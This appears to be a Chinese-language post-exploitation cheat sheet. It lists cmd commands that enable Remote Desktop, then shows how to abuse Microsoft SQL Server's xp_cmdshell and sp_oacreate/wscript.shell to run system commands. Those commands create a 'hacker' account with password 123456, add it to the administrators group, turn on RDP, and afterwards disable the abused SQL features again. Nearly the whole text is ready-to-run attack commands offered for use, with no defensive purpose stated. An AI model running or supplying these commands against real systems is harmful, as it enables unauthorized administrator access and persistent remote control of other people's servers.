开启rdp--命令集

目录

一、cmd命令开启rdp

二、mssql开启rdp

1、利用xp_cmdshell开启rdp

2、利用sp_oacreate--sp_oamethod开启rdp

---

一、cmd命令开启rdp

1.设置远程桌面端口

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

2.开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

3.检查端口状态

netstat -an|find "3389"

4.关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

二、mssql开启rdp

1、利用xp_cmdshell开启rdp

1.打开扩展存储过程xp_cmdshell

use master
go
reconfigure --先执行一次刷新，处理上次的配置
exec sp_configure 'show advanced option',1 --启用xp_cmdshell的高级配置
go
reconfigure
go
exec sp_configure 'xp_cmdshell',1  --打开xp_cmdshell,可以调用SQL系统之外的命令
go
reconfigure
go

2.添加新用户，并将用户添加到管理员组（提权）--可用于登录rdp

exec xp_cmdshell 'net user hacker 123456 /add';
exec xp_cmdshell 'net localgroup administrators hacker /add';
exec xp_cmdshell 'net user'
go

3.设置rdp端口，并开启rdp

EXEC xp_cmdshell 'reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f' --设置远程桌面端口
EXEC xp_cmdshell '
wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 1' --开启远程桌面；若wmic没安装、会自动安装、需要稍等一会

4.检查端口状态

EXEC xp_cmdshell 'netstat -an|find "3389"' --检查端口状态

5.关闭远程桌面

EXEC xp_cmdshell 'wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 0' --关闭远程桌面

6.关闭扩展存储过程xp_cmdshell

EXEC sp_configure 'show advanced options','1' --确保show advances options 的值为1,这样才可以执行xp_cmdshell为0的操作
go
reconfigure
go
EXEC sp_configure 'xp_cmdshell',0 --关闭xp_cmdshell
go
reconfigure
go
EXEC sp_configure 'show advanced options','0' --关闭show advanced options
go
reconfigure
go

2、利用sp_oacreate--sp_oamethod开启rdp

1.启用 OLE Automation Procedures

-- 启用显示高级选项
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
-- 启用 OLE Automation Procedures
EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE WITH OVERRIDE;

2.添加新用户，并将用户添加到管理员组（提权）--可用于登录rdp

declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'net user hacker 123456 /add' -- 添加新用户
exec sp_oamethod @shellx,'run',null,'net localgroup Administrators hacker /add' -- 将用户添加到管理员组的命令

3.设置rdp端口，并开启rdp

declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f '
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 1 '

4.关闭远程桌面

declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 0'

5.关闭 OLE Automation Procedures

exec sp_configure 'show advanced options',1 --确保show advances options 的值为1
RECONFIGURE
exec sp_configure 'ole Automation Procedures',0 --关闭OLE Automation Procedures
RECONFIGURE
exec sp_configure 'show advanced options',0 --关闭高级配置
RECONFIGURE